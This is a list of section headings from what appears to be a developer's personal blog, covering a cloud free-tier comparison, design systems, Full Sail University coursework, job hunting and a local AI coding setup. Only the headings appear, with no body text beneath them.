Level 3: The "Smoke Protocol" (The Human Element)

The "Gap" Analysis: What Are We Missing?

Bonus: Automating the Bedrock (GitHub Actions)

Final Verdict

AWS vs. Azure vs. Google Cloud: The Ultimate Free Tier Battle & Survival Guide

The Philosophy of "Free"

1. Compute: The Engine Room

AWS: The Standard (EC2)

Azure: The Burstable (B-Series)

GCP: The Forever Server (Compute Engine)

2. Databases: The Expensive Part

AWS (RDS)

Azure (SQL Database)

GCP (Firestore)

3. The "Silent Killers" of Cloud Billing

The Orphaned Volume

The Static IP Tax

Data Egress (The "Hotel California" Fee)

Final Verdict: Which One Should You Choose?

Choose AWS If:

Choose GCP If:

Choose Azure If:

The Golden Rule

Designing Systems That Actually Ship

TL;DR

Reality snapshot

Table of contents

Why I Take Design Systems Seriously

Over-Structuring Is a Feature, Not a Flaw

How I Translate Design Into Code

CSS Architecture and Constraints

Accessibility Is Part of the API

Documentation as a First-Class Deliverable

Design System Starter Kit (My 2025 Version)

Collaboration Habits That Keep Changes Shippable

Receipts From My Own Builds

Working Across Design and Engineering

What I Care About Building Next

Closing Thoughts

Full Sail University: How Formal Training Shaped My Approach

Program snapshot

Course areas that shaped me the most

Signature projects & evidence

Capstone: Car-Match (personal learning project)

Other projects that shaped my learning

Server Management Lab

Communication touchpoints

Habits I carried forward

Beyond coursework

What the program didn’t cover (well)

A week-in-the-life during a sprint

Mistakes I made (and fixed) — the real list

How I present this to employers

Advice to future Full Sail students

Metrics and receipts

Artifacts & links

Key takeaways

How to Sell Your Skills with a Small Project

A Guide for Developers Who Feel Like They Don’t Have Enough Experience

Step 1: Your Project Can Be Small — Just Make It Real

Job hunting is poopie

Not a Success Story. Just the Truth About Trying.

Understanding Where My Knowledge Really Sits

What I’ve Learned About the Tech Industry So Far

1. Hard Work Does Not Guarantee Anything

2. Tech Is Merit-Based — and Also Not Merit-Based at All

3. Connections Change Everything — And They Don’t Come Easy

Closing Notes

My Real AI Development Setup

My Actual AI Development Setup

How VS Code Fits Into the Setup

How Ollama and Qwen Help With Daily Coding

When the Workflow Switches to Claude Models